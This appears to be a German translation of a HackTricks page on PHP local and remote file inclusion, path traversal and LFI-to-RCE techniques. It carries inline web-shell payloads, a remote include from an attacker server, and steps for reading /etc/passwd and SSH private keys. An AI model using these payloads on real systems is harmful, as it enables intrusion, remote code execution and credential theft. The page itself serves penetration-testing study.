File Inclusion/Path traversal
Last updated
Last updated
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Tritt dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Hacking Einblicke Engagiere dich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
Echtzeit Hack Nachrichten Bleibe auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke
Neueste Ankündigungen Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
Tritt uns bei Discord bei und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
Remote File Inclusion (RFI): Die Datei wird von einem Remote-Server geladen (Am besten: Du kannst den Code schreiben und der Server wird ihn ausführen). In PHP ist dies standardmäßig deaktiviert (allow_url_include). Local File Inclusion (LFI): Der Server lädt eine lokale Datei.
Die Schwachstelle tritt auf, wenn der Benutzer auf irgendeine Weise die Datei kontrollieren kann, die vom Server geladen werden soll.
Verwundbare PHP-Funktionen: require, require_once, include, include_once
Ein interessantes Tool, um diese Schwachstelle auszunutzen: https://github.com/kurobeats/fimap
Durch das Mischen mehrerer *nix LFI-Listen und das Hinzufügen weiterer Pfade habe ich diese erstellt:
Versuche auch, /
durch \
zu ersetzen.
Versuche auch, ../../../../../
hinzuzufügen.
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle existiert), ist hier zu finden.
Zusammenführung verschiedener Wortlisten:
Versuche auch, /
durch \
zu ersetzen.
Versuche auch, C:/
zu entfernen und ../../../../../
hinzuzufügen.
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle existiert), ist hier zu finden.
Überprüfe die LFI-Liste von Linux.
Alle Beispiele sind für Local File Inclusion, können aber auch für Remote File Inclusion angewendet werden (Seite=http://myserver.com/phpshellcode.txt\.
Umgehen Sie das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenfolge (Umgehung von: $_GET['param']."php")
Dies ist seit PHP 5.4 gelöst
Sie könnten nicht-standardisierte Kodierungen wie doppelte URL-Kodierung (und andere) verwenden:
Vielleicht überprüft das Backend den Ordnerpfad:
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen auf die Existenz bestimmter Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
Bestimmen der Verzeichnistiefe: Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei /etc/passwd
abrufen (anwendbar, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein, was auf eine Tiefe von drei hinweist:
Ordner prüfen: Hänge den Namen des verdächtigen Ordners (z.B. private
) an die URL an und navigiere dann zurück zu /etc/passwd
. Die zusätzliche Verzeichnistiefe erfordert eine Erhöhung der Tiefe um eins:
Interpretieren der Ergebnisse: Die Antwort des Servers zeigt an, ob der Ordner existiert:
Fehler / Keine Ausgabe: Der Ordner private
existiert wahrscheinlich nicht an dem angegebenen Ort.
Inhalt von /etc/passwd
: Die Anwesenheit des Ordners private
ist bestätigt.
Rekursive Erkundung: Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Local File Inclusion (LFI) Methoden untersucht werden.
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob /var/www/
ein private
Verzeichnis enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
Path-Truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei verweist.
In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
/etc/passwd
, /etc//passwd
, /etc/./passwd
und /etc/passwd/
werden alle als derselbe Pfad behandelt.
Wenn die letzten 6 Zeichen passwd
sind, ändert das Anhängen eines /
(was es zu passwd/
macht) die Ziel-Datei nicht.
Ebenso, wenn .php
an einen Dateipfad angehängt wird (wie shellcode.php
), wird das Hinzufügen eines /.
am Ende die aufgerufene Datei nicht verändern.
Die bereitgestellten Beispiele zeigen, wie man Path-Truncation nutzen kann, um auf /etc/passwd
zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
In diesen Szenarien könnte die Anzahl der benötigten Traversierungen etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.
Verwendung von Punktsegmenten und zusätzlichen Zeichen: Traversierungssequenzen (../
), kombiniert mit zusätzlichen Punktsegmenten und Zeichen, können verwendet werden, um im Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren.
Bestimmung der erforderlichen Anzahl von Traversierungen: Durch Ausprobieren kann man die genaue Anzahl der benötigten ../
-Sequenzen finden, um zum Stammverzeichnis und dann zu /etc/passwd
zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie .php
) neutralisiert werden, aber der gewünschte Pfad (/etc/passwd
) intakt bleibt.
Beginn mit einem gefälschten Verzeichnis: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie a/
) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfadverarbeitungslogik des Servers verwendet.
Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Pfadverhalten des Servers und die Dateisystemstruktur zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
Diese Schwachstelle wurde in PHP 5.3 behoben.
In PHP ist dies standardmäßig deaktiviert, da allow_url_include
Aus ist. Es muss Ein sein, damit es funktioniert, und in diesem Fall könnten Sie eine PHP-Datei von Ihrem Server einfügen und RCE erhalten:
Wenn aus irgendeinem Grund allow_url_include
auf On gesetzt ist, aber PHP den Zugriff auf externe Webseiten filtert, laut diesem Beitrag, könntest du beispielsweise das Datenprotokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
Im vorherigen Code wurde das finale +.txt
hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die mit .txt
endete, sodass die Zeichenkette damit endet und nach der b64-Dekodierung dieser Teil nur Müll zurückgibt und der echte PHP-Code eingeschlossen (und somit ausgeführt) wird.
Ein weiteres Beispiel ohne das php://
Protokoll wäre:
In Python in einem Code wie diesem:
Wenn der Benutzer einen absoluten Pfad zu file_name
übergibt, wird der vorherige Pfad einfach entfernt:
Es ist das beabsichtigte Verhalten gemäß den Dokumenten:
Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen erfolgt ab der Komponente des absoluten Pfads.
Es scheint, dass wenn Sie eine Path Traversal in Java haben und Sie nach einem Verzeichnis anstelle einer Datei fragen, eine Auflistung des Verzeichnisses zurückgegeben wird. Dies wird in anderen Sprachen nicht passieren (soweit ich weiß).
Hier ist eine Liste der 25 wichtigsten Parameter, die anfällig für lokale Datei-Inklusions (LFI) Schwachstellen sein könnten (von link):
PHP-Filter ermöglichen grundlegende Modifikationsoperationen an den Daten, bevor sie gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Entfernt Tags aus den Daten (alles zwischen den Zeichen "<" und ">")
Beachten Sie, dass dieser Filter in den modernen Versionen von PHP verschwunden ist
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transformiert in eine andere Kodierung (convert.iconv.<input_enc>.<output_enc>
). Um die Liste aller unterstützten Kodierungen zu erhalten, führen Sie in der Konsole aus: iconv -l
Durch den Missbrauch des convert.iconv.*
Konvertierungsfilters können Sie willkürlichen Text generieren, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include zu ermöglichen, die willkürlichen Text verarbeitet. Für weitere Informationen siehe LFI2RCE über PHP-Filter.
zlib.deflate
: Komprimiert den Inhalt (nützlich, wenn viele Informationen exfiltriert werden)
zlib.inflate
: Dekomprimiert die Daten
mcrypt.*
: Veraltet
mdecrypt.*
: Veraltet
Andere Filter
Wenn Sie in PHP var_dump(stream_get_filters());
ausführen, können Sie ein paar unerwartete Filter finden:
consumed
dechunk
: Kehrt die HTTP-chunked Kodierung um
convert.*
Der Teil "php://filter" ist nicht groß-/kleinschreibungsempfindlich
In diesem Beitrag wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer booleschen Exfiltration der Datei (zeichenweise) unter Verwendung von php-Filtern als Oracle. Dies liegt daran, dass php-Filter verwendet werden können, um einen Text groß genug zu machen, damit php eine Ausnahme auslöst.
Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik, aber hier ist eine kurze Zusammenfassung:
Verwenden Sie den Codec UCS-4LE
, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu erhöhen.
Dies wird verwendet, um einen so großen Text zu generieren, wenn der Anfangsbuchstabe korrekt erraten wird, dass php einen Fehler auslöst.
Der dechunk-Filter wird alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist, sodass wir wissen können, ob das erste Zeichen hexadezimal ist.
Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr als hexadezimales Zeichen zu betrachten. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
Der Codec convert.iconv.UNICODE.CP930 transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein a
ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
Durch die Verwendung anderer Transformationen wie rot13 am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den hexadezimalen Bereich zu verschieben).
Wenn das anfängliche Zeichen eine Zahl ist, muss es base64 codiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
Das endgültige Problem besteht darin, wie man mehr als den anfänglichen Buchstaben exfiltriert. Durch die Verwendung von Ordnungsfilter wie convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
Und um weitere Daten zu erhalten, besteht die Idee darin, 2 Bytes Junk-Daten am Anfang zu generieren mit convert.iconv.UTF16.UTF16, UCS-4LE anzuwenden, um es mit den nächsten 2 Bytes zu pivotieren, und die Daten bis zu den Junk-Daten zu löschen (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
Im Beitrag wurde auch ein Tool zur automatischen Durchführung dieser Technik geleakt: php_filters_chain_oracle_exploit.
Dieser Wrapper ermöglicht den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:
Sie können auch php://stdin, php://stdout und php://stderr verwenden, um auf die Dateideskriptoren 0, 1 und 2 zuzugreifen (nicht sicher, wie dies in einem Angriff nützlich sein könnte)
Laden Sie eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greifen Sie darauf zu. Um das Rar-Protokoll missbrauchen zu können, muss es speziell aktiviert werden.
Beachten Sie, dass dieses Protokoll durch die PHP-Konfigurationen allow_url_open
und allow_url_include
eingeschränkt ist.
Expect muss aktiviert sein. Sie können Code mit folgendem ausführen:
Geben Sie Ihre Payload in den POST-Parametern an:
Eine .phar
-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie include
zum Laden von Dateien nutzt. Der folgende PHP-Codeausschnitt zeigt die Erstellung einer .phar
-Datei:
Um die .phar
-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werden:
Bei der Ausführung wird eine Datei namens test.phar
erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI) Schwachstellen verwendet werden könnte.
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführen des PHP-Codes innerhalb durch Funktionen wie file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
oder filesize()
durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des phar
-Protokolls verbunden.
Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälligkeiten im Kontext von .phar
-Dateien, siehe das unten verlinkte Dokument:
Phar Deserialization Exploitation Guide
phar:// deserializationEs war möglich, jede beliebige Datei, die von PHP gelesen wird und php-Filter unterstützt, auszunutzen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann in diesem Beitrag gefunden werden.
Sehr schnelle Zusammenfassung: ein 3-Byte-Überlauf im PHP-Heap wurde ausgenutzt, um die Kette freier Blöcke einer bestimmten Größe zu ändern, um in jede Adresse schreiben zu können, sodass ein Hook hinzugefügt wurde, um system
aufzurufen.
Es war möglich, Blöcke spezifischer Größen auszuwählen, indem mehr PHP-Filter missbraucht wurden.
Überprüfen Sie weitere mögliche Protokolle, die hier einbezogen werden können:
php://memory und php://temp — In den Speicher oder in eine temporäre Datei schreiben (nicht sicher, wie dies bei einem Datei-Inclusion-Angriff nützlich sein kann)
file:// — Zugriff auf das lokale Dateisystem
http:// — Zugriff auf HTTP(s)-URLs
ftp:// — Zugriff auf FTP(s)-URLs
zlib:// — Kompressionsströme
glob:// — Pfadnamen finden, die dem Muster entsprechen (gibt nichts Druckbares zurück, also hier nicht wirklich nützlich)
ssh2:// — Secure Shell 2
ogg:// — Audio-Streams (nicht nützlich, um beliebige Dateien zu lesen)
Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch, wenn es um die Funktion 'assert' geht, die Code innerhalb von Strings ausführen kann. Dies ist besonders problematisch, wenn Eingaben mit Verzeichnis-Traversierungszeichen wie ".." überprüft, aber nicht ordnungsgemäß bereinigt werden.
Zum Beispiel könnte PHP-Code so gestaltet sein, dass er Verzeichnis-Traversierung verhindert:
Während dies darauf abzielt, Traversierung zu stoppen, schafft es unbeabsichtigt einen Vektor für Code-Injektion. Um dies auszunutzen, um den Inhalt von Dateien zu lesen, könnte ein Angreifer Folgendes verwenden:
Ebenso könnte man zur Ausführung beliebiger Systembefehle Folgendes verwenden:
Es ist wichtig, diese Payloads URL-zu kodieren.
Tritt dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Hacking Einblicke Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
Echtzeit-Hack-Nachrichten Bleiben Sie auf dem Laufenden über die schnelllebige Hackerwelt durch Echtzeitnachrichten und Einblicke
Neueste Ankündigungen Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
Tritt uns bei Discord und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
Diese Technik ist relevant in Fällen, in denen Sie den Dateipfad einer PHP-Funktion steuern, die auf eine Datei zugreift, aber Sie den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von file()
), aber der Inhalt wird nicht angezeigt.
In diesem unglaublichen Beitrag wird erklärt, wie ein blinder Pfad-Traversal über PHP-Filter missbraucht werden kann, um den Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren.
Zusammenfassend verwendet die Technik die "UCS-4LE" Kodierung, um den Inhalt einer Datei so groß zu machen, dass die PHP-Funktion, die die Datei öffnet, einen Fehler auslöst.
Dann wird, um das erste Zeichen zu leaken, der Filter dechunk
zusammen mit anderen wie base64 oder rot13 verwendet, und schließlich werden die Filter convert.iconv.UCS-4.UCS-4LE und convert.iconv.UTF16.UTF-16BE verwendet, um andere Zeichen am Anfang zu platzieren und sie zu leaken.
Funktionen, die anfällig sein könnten: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (nur Ziel nur lesend mit diesem)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Für technische Details siehe den genannten Beitrag!
Wie zuvor erklärt, folgen Sie diesem Link.
Wenn der Apache- oder Nginx-Server anfällig für LFI ist, könnten Sie versuchen, auf /var/log/apache2/access.log
oder /var/log/nginx/access.log
zuzugreifen, indem Sie im User-Agent oder in einem GET-Parameter eine PHP-Shell wie <?php system($_GET['c']); ?>
setzen und diese Datei einfügen.
Beachten Sie, dass wenn Sie doppelte Anführungszeichen für die Shell anstelle von einfachen Anführungszeichen verwenden, die doppelten Anführungszeichen für den String "quote;" modifiziert werden, PHP einen Fehler auslösen wird und nichts anderes ausgeführt wird.
Stellen Sie außerdem sicher, dass Sie die Payload korrekt schreiben, da PHP jedes Mal einen Fehler ausgibt, wenn es versucht, die Protokolldatei zu laden, und Sie keine zweite Gelegenheit haben werden.
Dies könnte auch in anderen Protokollen durchgeführt werden, aber seien Sie vorsichtig, der Code in den Protokollen könnte URL-kodiert sein und dies könnte die Shell zerstören. Der Header authorisation "basic" enthält "user:password" in Base64 und wird in den Protokollen dekodiert. Die PHPShell könnte in diesen Header eingefügt werden. Andere mögliche Protokollpfade:
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Senden Sie eine E-Mail an ein internes Konto (user@localhost), die Ihre PHP-Nutzlast wie <?php echo system($_REQUEST["cmd"]); ?>
enthält, und versuchen Sie, die E-Mail des Benutzers mit einem Pfad wie /var/mail/<USERNAME>
oder /var/spool/mail/<USERNAME>
einzuschließen.
Laden Sie viele Shells hoch (zum Beispiel: 100)
Schließen Sie http://example.com/index.php?page=/proc/$PID/fd/$FD ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden)
Wie eine Protokolldatei, senden Sie die Nutzlast im User-Agent, sie wird in der Datei /proc/self/environ reflektiert.
Wenn Sie eine Datei hochladen können, injizieren Sie einfach die Shell-Nutzlast darin (z.B.: <?php system($_GET['c']); ?>
).
Um die Datei lesbar zu halten, ist es am besten, in die Metadaten der Bilder/doc/pdf zu injizieren.
Laden Sie eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und greifen Sie zu:
Überprüfen Sie, ob die Website PHP-Sitzungen (PHPSESSID) verwendet.
In PHP werden diese Sitzungen in /var/lib/php5/sess\[PHPSESSID]_ Dateien gespeichert.
Setzen Sie das Cookie auf <?php system('cat /etc/passwd');?>
Verwenden Sie die LFI, um die PHP-Sitzungsdatei einzuschließen.
Wenn ssh aktiv ist, überprüfen Sie, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuchen Sie, auf <HOME>/.ssh/id_rsa zuzugreifen.
Die Protokolle für den FTP-Server vsftpd befinden sich unter /var/log/vsftpd.log. In dem Szenario, in dem eine Local File Inclusion (LFI) Schwachstelle vorhanden ist und der Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:
Injizieren Sie eine PHP-Nutzlast in das Benutzernamensfeld während des Anmeldevorgangs.
Nach der Injektion nutzen Sie die LFI, um die Serverprotokolle von /var/log/vsftpd.log abzurufen.
Wie in diesem Artikel gezeigt, ignoriert der PHP base64-Filter einfach Non-base64. Sie können dies verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast:
Dieser Bericht erklärt, dass Sie php-Filter verwenden können, um beliebige Inhalte als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie beliebigen PHP-Code für die Include generieren können, ohne ihn in eine Datei schreiben zu müssen.
LFI2RCE via PHP FiltersLaden Sie eine Datei hoch, die als temporär in /tmp
gespeichert wird, und lösen Sie dann im gleichen Request einen Segmentierungsfehler aus. Die temporäre Datei wird dann nicht gelöscht und Sie können nach ihr suchen.
Wenn Sie eine Local File Inclusion gefunden haben und Nginx vor PHP läuft, könnten Sie mit der folgenden Technik RCE erhalten:
LFI2RCE via Nginx temp filesWenn Sie eine Local File Inclusion gefunden haben, auch wenn Sie keine Sitzung haben und session.auto_start
auf Off
steht. Wenn Sie den PHP_SESSION_UPLOAD_PROGRESS
in multipart POST-Daten bereitstellen, wird PHP die Sitzung für Sie aktivieren. Sie könnten dies ausnutzen, um RCE zu erhalten:
Wenn Sie eine Local File Inclusion gefunden haben und der Server unter Windows läuft, könnten Sie RCE erhalten:
LFI2RCE Via temp file uploadspearcmd.php
+ URL-ArgumenteWie in diesem Beitrag erklärt, existiert das Skript /usr/local/lib/phppearcmd.php
standardmäßig in PHP-Docker-Images. Darüber hinaus ist es möglich, Argumente über die URL an das Skript zu übergeben, da angegeben ist, dass, wenn ein URL-Parameter kein =
hat, er als Argument verwendet werden sollte.
Die folgende Anfrage erstellt eine Datei in /tmp/hello.php
mit dem Inhalt <?=phpinfo()?>
:
Der folgende Missbrauch einer CRLF-Schwachstelle ermöglicht RCE (von hier):
Wenn Sie eine Local File Inclusion gefunden haben und eine Datei phpinfo() mit file_uploads = on exponiert, können Sie RCE erhalten:
LFI2RCE via phpinfo()PHP_STREAM_PREFER_STUDIO
+ Path DisclosureWenn Sie eine Local File Inclusion gefunden haben und Sie den Pfad der temporären Datei exfiltrieren können, ABER der Server überprüft, ob die einzuschließende Datei PHP-Markierungen hat, können Sie versuchen, diese Überprüfung zu umgehen mit dieser Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureWenn Sie die LFI ausnutzen können, um temporäre Dateien hochzuladen und den Server die PHP-Ausführung hängen lassen, könnten Sie dann Dateinamen stundenlang brute-forcen, um die temporäre Datei zu finden:
LFI2RCE via Eternal waitingWenn Sie eine der Dateien /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
einfügen. (Sie müssen dieselbe Datei 2 Mal einfügen, um diesen Fehler auszulösen).
Ich weiß nicht, wie das nützlich ist, aber es könnte sein. Es sei denn, Sie verursachen einen PHP Fatal Error, werden die hochgeladenen PHP-Temporärdateien gelöscht.
Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Hacking Insights Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
Real-Time Hack News Bleiben Sie auf dem Laufenden mit der schnelllebigen Hack-Welt durch Echtzeitnachrichten und Einblicke
Latest Announcements Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
Treten Sie uns bei Discord und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)